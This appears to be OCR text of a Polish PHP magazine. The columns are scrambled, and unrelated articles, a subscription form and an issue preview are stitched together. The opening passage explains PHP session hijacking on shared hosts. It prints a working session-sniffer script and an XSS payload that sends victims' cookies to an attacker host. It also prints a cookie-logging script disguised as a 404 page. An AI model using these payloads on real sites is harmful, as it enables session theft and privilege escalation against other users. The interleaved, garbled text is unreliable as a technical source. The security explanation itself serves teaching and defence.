niu. Nie są też przechowywane po stro- <tr>
<td><input type="text" name="sess_number"></td>
nie użytkownika, gdyż narażałoby je to
</tr>
na modyfikacje, lecz w postaci plików <tr bgcolor="silver">
na serwerze (który musi mieć do nich <td><input type="submit" value="ok"></td>
dostęp przez cały czas istnienia sesji). </tr>
W systemach uniksowych są to pliki </table>
</form><br>
o nazwach sess_$ID ulokowane w kata-
<table cellpadding=5 cellspacing=0 border=1>
logu /tmp, gdzie $ID oznacza przypisany <tr bgcolor="silver"><th>Przechwycone dane</th></tr>
do danego użytkownika numer sesji. <tr><td><?var_export($_SESSION);?></td></tr>
Struktura takiego pliku wygląda nastę- </table><br>
pująco: <form method=post>
<table cellpadding=5 cellspacing=0 border=1>
<tr bgcolor="silver"><th>Zmienna:</th></tr>
nazwa zmiennej|typ:[długość:]wartość; <tr><td><input type="text" name="variable"></td></tr>
<tr bgcolor="silver"><th>Wartosc:</th></tr>
A oto przykładowy plik sesji: <tr><td><input type="text" name="var_value"></td></tr>
<tr bgcolor="silver"><td><input type="submit" value="Zmień"></td></tr>
</table>
zalogowany|i:1;login|s:6:
</form>
"unknow";haslo|s:5:"tajne"
<?
Zapis login|s:6:"unknow" oznacza, if (isset($variable)){
że w sesji zdefiniowana jest zmienna echo('<br><font color="green">Ustawiono $variable na wartość
'.$var_value.'</font><br><br>');
$login typu tekstowego (s = string) o
$_SESSION["$variable"]=$var_value;
długości sześciu znaków oraz wartości }
unknow. Poszczególne zmienne w pliku echo('<br>Copyright © by Unknow - unknow@uw-team.org');
sesji oddzielone są od siebie znakiem ?>
średnika. Dla danych liczbowych nie
www.securityfocus.com/archive/1/410895/ Następnie utworzymy formularz umożli- fer działa jedynie w obrębie serwera, na któ-
30/0/threaded. wiający użytkownikowi wpisanie wspomnia- rym został uruchomiony i tylko pod warun-
Na czym polega wymienione zagro- nego już przechwyconego numeru sesji, kiem, że wszystkie sesje zapisywane są w
żenie? W chwili, gdy użytkownik urucha- który zostanie przesłany metodą POST. Po- tym samym katalogu. Sprawia to, że użyt-
mia dowolny skrypt PHP wykorzystują- tem w tabeli wyświetlimy zawartość tablicy kownicy serwerów dedykowanych oraz
cy system sesji, zostaje mu przypisane $_SESSION, czyli przechwycone zmienne se- wszelkich kont niepublicznych mogą się
SessionID – unikalny numer identyfikują- syjne i utworzymy kolejny formularz, pozwa- czuć bezpiecznie. W przypadku serwerów
cy tę sesję. Co się stanie, jeśli uruchomi- lający na wpisanie nowej wartości zmien- wirtualnych, każde konto ma przeważnie
my dwa różne skrypty używające systemu nej $variable (w polu var_value). Na ko- swój własny katalog /tmp, w którym prze-
sesji? Zostanie nam przydzielony unikalny niec będziemy sprawdzać, czy zmienna chowywane są sesje, natomiast na serwe-
numer sesji, lecz... okazuje się, że będzie $variable istnieje: jeżeli tak, to przypiszemy rach niepublicznych nie można umieścić ko-
on w obu przypadkach taki sam! Błąd ten jej nową wartość, wysłaną przez użytkowni- du sniffera.
występuje nawet wtedy, gdy uruchomimy ka w formularzu i pobraną z pola var_value
dwa skrypty z sesjami na różnych kontach ($var_value). Komu zagraża sniffer sesji?
użytkowników. Oznacza to, że przykłado- Jak widzimy, sniffer nie operuje na pli- Jak już wspomniałem, podatne są jedynie
wy skrypt pod adresem: kach. Odczytuje on jedynie zawartość tabli- serwery, na których istnieje możliwość swo-
cy zmiennych sesyjnych, co znaczy, że bę- bodnego założenia konta, a dane tymczaso-
http://www.jakisadres.pl/~konto/skrypt.php dzie on działał także przy włączonej opcji we (katalog /tmp) są współdzielone. Ozna-
Safe Mode. Należy jednak pamiętać, że snif- cza to, że choć serwery największych firm
wygeneruje nam ten sam numer sesji, co
aplikacja znajdująca się pod:
Jak zdobyć numer sesji użytkownika?
Istnieje wiele metod zdobycia numeru sesji. Przedstawimy te najpopularniejsze, pomi-
http://www.jakisadres.pl/~innekonto/
jając wszelkiego rodzaju socjotechnikę (czyli manipulowanie zachowaniem użytkowni-
skrypt.php. ków).
Najprostszym sposobem przechwycenia potrzebnych agresorowi danych jest użycie
Jest to niezwykle istotna luka w bezpie- błędów typu XSS (zostały one opisane w poprzednim numerze PHP Solutions, w artykule
Niebezpieczeństwa ataków XSS i CSRF). Przyjmujemy, że większość czytelników wie, na
czeństwie stanowiąca furtkę dla agresora,
czym polegają tego typu błędy.
gdyż wszystkie zmienne tworzone przez Załóżmy, że mamy księgę gości, w którą możemy wpisać dowolny kod HTML.
pierwszy skrypt mogą być nadpisywane Wpiszmy zatem do niej następujący kod, którego zadaniem będzie pobieranie ciaste-
przez drugi – wystarczy, że pokrywają się czek:
ich nazwy. <script language="JavaScript">
self.location.href="
Sniffing sesji, http://www.intruder.pl/loguj.php?id=
czyli namierzanie "+escape(document.cookie);
Sniffing to obserwowanie ruchu w sieci Następnie pod adresem podanym w skrypcie musimy umieścić plik loguj.php o następują-
komputerowej w celu przejęcia przesyła- cej zawartości:
nych danych, w szczególności loginów i ha-
<?php
seł. Natomiast sniffing sesji odnosi się do
if (isset($id)){
przechwytywania i ewentualnego modyfiko- $plik=fopen('dane.txt','a');
wania zmiennych sesyjnych. Na Listingu 1 fputs($plik,"$id\n");
przedstawiamy kod prostego sniffera sesji, fclose($plik); }
który będzie wykonywał obie te czynności. echo('Error 404 – nie ma takiej strony');
?>
Jego działanie jest następujące:
sprawdzamy, czy użytkownik wpisał prze- Gdy już wszystko przygotujemy, każda osoba wchodząca na księgę gości z umieszczo-
chwycony przez siebie numer sesji. Je- nym przez agresora kodem będzie automatycznie przekierowywana na stronę z fałszy-
żeli tak, to tworzymy ciasteczko PHP- wym błędem 404, a jej ciasteczka zostaną zapisane w pliku.
Agresor musi jedynie odczytać ten plik w chwili, gdy ofiara jest jeszcze zalogowana,
SESSID, do którego go przypiszemy. Na-
lub gdy sesja jeszcze nie wygasła. Gdy zdobędzie on numer sesji w takim właśnie mo-
stępnie, niezależnie od wyniku tej opera- mencie, wystarczy, że w drugim oknie uruchomi sniffera sesji prezentowanego na począt-
cji, uruchamiamy nową sesję na serwerze ku artykułu i zmieni numer swojej sesji na właśnie zdobyty.
(session_start). Jak wiemy, jeśli przed Naturalnie, prezentowany sposób wstrzykiwania kodu JavaScript w kod strony jest tyl-
ko przykładem. Równie dobrze możemy go wstawić jako parametr w adresie strony, o ile
wywołaniem tej instrukcji istniała jakaś
parametr ten jest później wyświetlany na stronie bez filtrowania tagów.
sesja, to nowo zakładanej sesji zosta- Niezwykłą ciekawostką jest fakt, że w chwili, gdy zaczniemy zatruwać przypisaną nam
nie przypisany jej numer. Jeśli więc dwa sesję z numerem ofiary, wszystkie odczuwalne przez nas zmiany będą również odczuwal-
skrypty wywołały tworzenie sesji na jed- ne dla ofiary. Oznacza to, że jeśli agresor przypisze sobie numer sesji zdobyty poprzez
skrypt logujący, a następnie zmieni sobie poziom użytkownika np. na administratora, to
nym serwerze, to oba będą używały te-
użytkownik, którego numer sesji został skradziony, również natychmiastowo otrzyma pra-
go samego identyfikatora sesji, w konse- wa administratora, ponieważ obie osoby korzystają z tego samego pliku przetrzymujące-
kwencji operując na wspólnym pliku i udo- go dane sesji.
stępniając sobie nawzajem zmienne.
O
d czasu stworzenia standardu cation, a wraz z popularyzacją technolo-
XML pod koniec lat 90., po- gii AJAX XML coraz częściej pojawiają się
wszechne podejście do tego również na zwykłych stronach interneto-
języka uległo poważnym zmianom. Spe- wych. W obliczu wszechobecności XML-a
cyfikację XML pierwotnie opracowała gru- we współczesnej informatyce, umiejętność
pa robocza W3C złożona z przedstawicieli tworzenia i parsowania kodu XML stała się
wielu znanych korporacji informatycznych, koniecznością dla każdego programisty.
więc w marketingowej gorączce związanej Oczywiście XML znalazł również dro-
w utworzeniem nowego, rozszerzalnego gę do świata PHP, gdzie zadomowił się na
języka znaczników obsługa XML-a była dobre w różnorodnych zastosowaniach:
dodawana do wielu programów tylko po formatowaniu dokumentów, składowaniu
to, by dołożyć najnowszy chwytliwy skrót danych, protokołach SOAP i XML-RPC
W SIECI do opisu produktu. i wielu innych.
Z biegiem lat gorączka ostygła i za-
częto używać XML-a do celów, do któ-
1. http://pear.php.net/package/
rych został stworzony. Obecnie można po- Co należy wiedzieć...
XML_Serializer wiedzieć, że XML zadomowił się na do- Powinieneś się dobrze orientować
– strona główna pakietu bre w informatyce, a w dodatku znajdu- w tematyce XML.
XML_Serializer
2. http://xulplanet.com je zastosowanie w miejscach, o których
– XULPlanet, ciekawa witry- się autorom pierwotnej specyfikacji na- Co obiecujemy...
na o języku XUL
3. http://imdb.com wet nie śniło. Formaty XML-owe spotyka- Pokażemy jak generować różnego
– IMDB, czyli Internet Movie my na każdym kroku, od protokołów Web rodzaju dokumenty XML z pomocą
Data Base
Services poprzez eksport danych z apli- pakietu XML_Serializer
kacji po standard Internet Content Syndi-
Słowo o XML-u w deklaracji XML należy umieścić atrybut Pakiet XML_Serializer nosi oznacze-
Zanim zajmiemy się samym pakietem encoding = "utf-8". nie beta, jednak nie wynika ono z jako-
XML_Serializer, nie zawadzi pokrótce Ciało dokumentu XML stanowi je- ści kodu, a jedynie sygnalizuje możli-
przyjrzeć się formatowi i strukturze doku- den znacznik nadrzędny, zawierają- wość przyszłych zmian w API. Zgodnie
mentów XML. cy całą resztę dokumentu. W przykła- ze standardami PEAR, oznaczenie pa-
Twórcy specyfikacji XML wzorowa- dzie z Listingu 1 znacznikiem nadrzęd- kietu jako stabilnego (stable) jest równo-
li się na standardzie języka znaczników nym jest <movies>, w którym znajduje znacznie zamrożeniu API w celu utrzy-
SGML (ang. Standard General Markup się wiele znaczników <movie>. Na ra- mania kompatybilności. Z tego też wzglę-
Language), opracowanym jeszcze w la- zie dokument nie zawiera zbyt dużo in- du twórcy intensywnie rozwijanych pakie-
tach 80. jako format tekstowy nadają- formacji, może poza tym, że lubię filmy tów utrzymują je w stanie beta do czasu
cy się do przetwarzania przez kompu- z dobrą ścieżką dźwiękową. Listing 2 osiągnięcia przez API dojrzałości gwa-
ter. Ze względu na wysoki stopień ogól- przedstawia ten sam dokument roz- rantującej brak poważniejszych zmian
ności SGML był jednak językiem bar- budowany o dodatkowe znaczniki za- w przyszłości.
dzo skomplikowanym, stąd też potrze- gnieżdżone i atrybuty.
ba opracowania prostszej jego wersji, Specyfikacja XML znacznie oczywi- Praca z pakietem
nadającej się do wykorzystania w Inter- ście wykracza poza te proste przykłady, XML_Serializer
necie i niewymagającej pełnego parse- ale dla potrzeb tego artykułu więcej infor- Zanim zagłębimy się w mechanizmy
ra SGML do przetwarzania dokumentów. macji o samym XML-u nie będziemy po- funkcjonowania pakietu XML_Seriali-
XML jest więc podzbiorem języka SGML trzebować. zer, przyjrzyjmy się kodowi pokazujące-
i opiera się na podobnych do niego za- mu, jak łatwo generować kod XML z po-
łożeniach, ale z uwzględnieniem dodat- Instalacja pakietu mocą tego narzędzia (Listing 3). Zaczy-
kowych ograniczeń mających na celu XML_Serializer namy od dołączenia pliku zawierającego
uproszczenie procesu parsowania. XML_Serializer jest zależny od kilku in- kod klasy XML_Serializer, po czym two-
Listing 1 przedstawia przykłado- nych pakietów PEAR, więc instalacja rzymy tablicę zawierającą dane oraz ta-
wy kod prostego dokumentu XML opi- wymaga wykonania następującego po- blicę zawierającą opcje, na podstawie
sującego moje ulubione filmy. XML wy- lecenia: pear install --alldeps xml_ których XML_Serializer będzie genero-
gląda znajomo dla każdego, kto zna serializer-beta. Spowoduje to zainstalo- wać kod XML.
HTML. Nieprzypadkowo – oba języ- wanie pakietów: XML_Serializer, XML_Util Tworząc instancję klasy XML_Serializer
ki są podzbiorami ogólniejszego forma- i XML_Parser. przekazujemy konstruktorowi tablicę opcji,
tu SGML. Dokument zaczyna się od de-
klaracji XML, określającej wersję forma- Listing 3. Generowanie kodu XML z pomocą pakietu XML_Serializer
tu XML oraz metodę kodowania tekstu.
W przypadku dokumentów w Unikodzie, require_once 'XML/Serializer.php';
$movies = array("Piąty Element", "High Fidelity");
$options = array ('rootName' => 'movies','defaultTagName' => 'movie');
Listing 1. Lista ulubionych filmów $serializer = &new XML_Serializer($options);
w prostym dokumencie XML $status = $serializer->serialize($movies);
$xml = $serializer->getSerializedData();
<?xml version="1.0"?> header('Content-type: text/xml');
<movies> echo $xml;
<movie>Piąty Element</movie>
<movie>High Fidelity</movie> Listing 4. Generowanie kodu XML w trybie simplexml
</movies>
$movies = array('movie' => array('Piąty Element', 'High Fidelity'));
Listing 2. Lista ulubionych filmów $options = array ('rootName' => 'movies', 'mode' => 'simplexml');
z nieco bardziej szczegółowymi
informacjami Listing 5. Dodawanie atrybutów do znaczników XML za pomocą
tablicy asocjacyjnej
<movies>
<movie name="Piąty Element"> $movies = array(array('attr' => array('name' => 'Piąty Element'),
<writer>Luc Besson</writer> "writer" => "Luc Besson",
<year>1997</year> "year" => "1997",
<imdb>tt0119116</imdb> "imdb" => "tt0119116"),
</movie> array('attr' => array('name' => 'High Fidelity'),
<movie name="High Fidelity"> "writer" => "Nick Hornby",
<writer>Nick Hornby</writer> "year" => "2000",
<year>2000</year> "imdb" => "tt0146882"));
<imdb>tt0146882</imdb> $options = array ('rootName' => 'movies',
</movie> 'attributesArray' => "attr",
</movies> 'defaultTagName' => 'movie');
po czym możemy pobrać dane seriali- kładowi z Listingu 1. Opcje generowania Zapoznanie się ze wszystkimi do-
zowane do kodu XML wywołując metodę XML-a można też zmieniać już po utwo- stępnymi opcjami jest istotnym elemen-
getSerializedData(). Kod z Listingu 3 rzeniu instancji XML_Serializer za po- tem opanowania pakietu XML_Serializer.
zwraca dane XML odpowiadające przy- mocą metod setOption() i setOptions(). Na podstawie tablicy danych można wy-
Jeśli opcje przekazane za pomocą generować dowolnego rodzaju kod XML
Listing 6. Kod XML wygenerowa- setOption() mają przesłonić opcje pier- – wystarczy tylko podać odpowiednie
ny z opcją traktowania wszystkich wotnie przekazane konstruktorowi, na- opcje, a niekiedy dodatkowo zmodyfiko-
wartości jako atrybutów leży ustawić parametr overrideOptions wać strukturę tablicy, by dokładniej odpo-
na true. wiadała strukturze pożądanego dokumen-
<movies>
Przyglądając się kodowi XML z do- tu XML. Tabela 1 przedstawia najważniej-
<movie imdb="tt0119116"
name="Piąty Element" tychczasowych przykładów nietrudno do- sze opcje, z których wiele poznamy na
writer="Luc Besson" strzec podobieństwo między strukturą kolejnych przykładach. Dostępne są też
year="1997" /> drzewa znaczników XML a strukturą ta- inne opcje, ale dla potrzeb tego artykułu
<movie imdb="tt0146882" blicy asocjacyjnej w PHP. XML_Serializer ich znajomość nie jest konieczna.
name="High Fidelity"
wykorzystuje to właśnie podobieństwo
writer="Nick Hornby"
year="2000" /> – jak widać z przykładu, wystarczy tabli- Tryby działania
</movies> ca z danymi i kilka opcji określających W pierwszym przykładzie wykorzy-
sposób generowania kodu XML. staliśmy prostą tablicę jednowymiaro-
Listing 7. XML z dodatkowymi
informacjami o postaciach z filmów
<movies>
<movie name='Piąty Element'>
<writer>Luc Besson</writer>
<year>1997</year>
<imdb>tt0119116</imdb>
<character name='Leeloo'>
<actor>Milla Jovovich</actor>
<imdb>nm0000170</imdb>
</character>
<character name='Korben Dallas'>
<actor>Bruce Willis</actor>
<imdb>nm0000246</imdb>
</character>
</movie>
<!-- ... -->
</movies>
wą, a nazwy znaczników XML wska- XML_Serializer udostępnia kilka żemy w tej samej tablicy umieścić dwóch
zaliśmy za pomocą opcji rootName metod pracy z atrybutami. Pierw- kluczy o takiej samej nazwie character.
i defaultTagName. XML_Serializer po- szym sposobem jest wykorzysta- Moglibyśmy nie używać klucza, ale wte-
zwala też osiągnąć ten sam efekt w inny nie opcji attributesArray, pozwalają- dy XML_Serializer użyłby klucza domyśl-
sposób, co w naszym prostym przykła- cej na przekazanie klucza definiujące- nego, któremu wcześniej przypisaliśmy
dzie nie jest może konieczne, ale bar- go tablicę zawierającą nazwy i warto- wartość movie – a zupełnie nie o to nam
dzo się przydaje w przypadku bardziej ści atrybutów, które mają być dodane chodzi.
złożonych dokumentów XML. do znacznika macierzystego. W kodzie Rozwiązanie problemu wymaga
Za pomocą opcji mode możemy usta- z Listingu 5 klucz ten nosi nazwę attr. przejścia we wspomniany wcześniej tryb
wić tryb działania simplexml, w którym z Wskazanie tak przygotowanej tablicy simplexml i modyfikacji struktury tabli-
każdą wartością tablicy kojarzona jest w opcjach przekazywanych obiekto- cy. Dla zwiększenia czytelności podzieli-
nazwa klucza tablicy nadrzędnej, odpo- wi klasy XML_Serializer daje w wyniku łem jedną rozbudowaną tablicę na dwie
wiadająca nazwie znacznika. W trybie kod XML z Listingu 2. mniejsze. W rzeczywistości dane bę-
domyślnym można podać tylko jedną Dość często trafia się kod XML, dą najczęściej pobierane z zewnętrzne-
wartość defaultTagName, podczas gdy w którym wszystkie wartości są składo- go źródła (na przykład bazy danych lub
tryb simplexml pozwala jawnie określać wane jako atrybuty, czyli nie ma żadnych usługi sieciowej), więc nie ma potrzeby
nazwy znaczników na poszczególnych wartości w obrębie samych znaczników. operowania na dużych i niewygodnych
poziomach, co daje znacznie większą Jeśli tak faktycznie jest, to można usta- tablicach zagnieżdżonych. Dla potrzeb
kontrolę nad strukturą dokumentu XML. wić opcję scalarAsAttributes na true, naszego przykładu tablice dobrze jednak
Kod z Listingu 4 generuje identyczny co spowoduje traktowanie wszystkich ilustrują proces generowania kodu wy-
XML, jak przykład wcześniejszy, ale tym wartości kluczy w ramach danego znacz- nikowego – Listing 8 pokazuje definicje
razem korzystając z trybu simplexml. nika jako atrybutów. Listing 6 pokazuje odpowiednich tablic.
Decyzja o wyborze trybu w dużym kod XML wygenerowany z tych samych
stopniu zależy od rodzaju generowa- danych po podaniu tej opcji. Rzeczywisty przykład
nego kodu XML. Tryb domyślny jest ła- Na tym etapie wiemy już, na czym pole-
twy w obsłudze i w wielu przypadkach Znaczniki zagnieżdżone ga generowanie kodu XML za pomocą
sprawdza się zupełnie dobrze, jednak Mamy już całkiem porządną struktu- pakietu XML_Serializer, pora więc wyko-
w przypadku bardziej złożonych doku- rę dokumentu XML do składowania in- rzystać tę wiedzę w praktyce i wygenero-
mentów jedyną możliwością jest tryb formacji o ulubionych filmach, ale przy- wać coś, co mogłoby się przydać w rze-
simplexml. Pewną wadą pracy w trybie dałoby się ją jeszcze nieco rozbudować czywistych zastosowaniach. W tym ce-
simplexml jest konieczność tworzenia o informacje na temat głównych posta- lu wygenerujemy plik w formacie XUL
znacznie bardziej rozbudowanych ta- ci filmu. Wymaga to dodania dla każdej – schemacie XML używanym do defi-
blic danych. postaci zestawu znaczników ją opisują- niowania struktury interfejsu użytkowni-
cych – Listing 7 przedstawia przykłado- ka w przeglądarkach z rodziny Mozilla.
Dodawanie atrybutów wy kod XML. Wykorzystamy tablicę danych z ostat-
Dotychczasowe przykłady generowały W tym momencie pojawia się pro- niego przykładu, po czym podając od-
bardzo prosty kod XML, więc w kolejnym blem: nie da się takiego dokumentu zapi- powiednie opcje przetworzymy ją do po-
przykładzie pora wprowadzić atrybuty. sać w postaci tablicy PHP, gdyż nie mo- staci poprawnego dokumentu XUL, któ-
R E K L A M A
Prosimy wypełnić czytelnie i przesłać faksem na numer: (22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,
Piaskowa 3, 01-067 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne: (22) 887 14 44
Dokładny adres....................................................................................................................................................................................................................
Tytuł
Ilość Od numeru Opłata
Ilość
zamawianych pisma lub w zł
numerów
prenumerat miesiąca z VAT
Software Developer’s Journal (1 płyta CD)
– dawniej Software 2.0 12 250/1801
Miesięcznik profesjonalnych programistów
SDJ Extra (od 1 do 4 płyt CD lub DVD)
– dawniej Software 2.0 Extra! 6 150/1352
Numery tematyczne dla programistów
Suma
TECHNIKI
PHP, XML i Java – Guillaume Ponçon krok
po kroku przedstawi łączenie w PHP dwóch
bardzo ważnych technologii: XML oraz Java.
Artykuł pod tytułem PHP, XML i Java w praktyce
wyczerpująco przedstawi te zagadnienia.
NARZĘDZIA
EyeOS – Web Based Desktop System
– Po raz drugi staniemy przed pytaniem: Internet
na biurku czy biurko w Internecie? Artykuł rozwi-
nie wątki poruszone w tym numerze skupiając
się na technicznych aspektach działania systemu
oraz jego aplikacji.
PROJEKTY
Video streaming – Stefan Richter, Frederic
Bochman z flashcomguru.com pokażą techniki,
które pozwoliły na zbudowanie Google
Video, oraz kompletne rozwiązanie pozwalają-
ce na uruchomienie Video Streamingu na wła-
snym serwerze.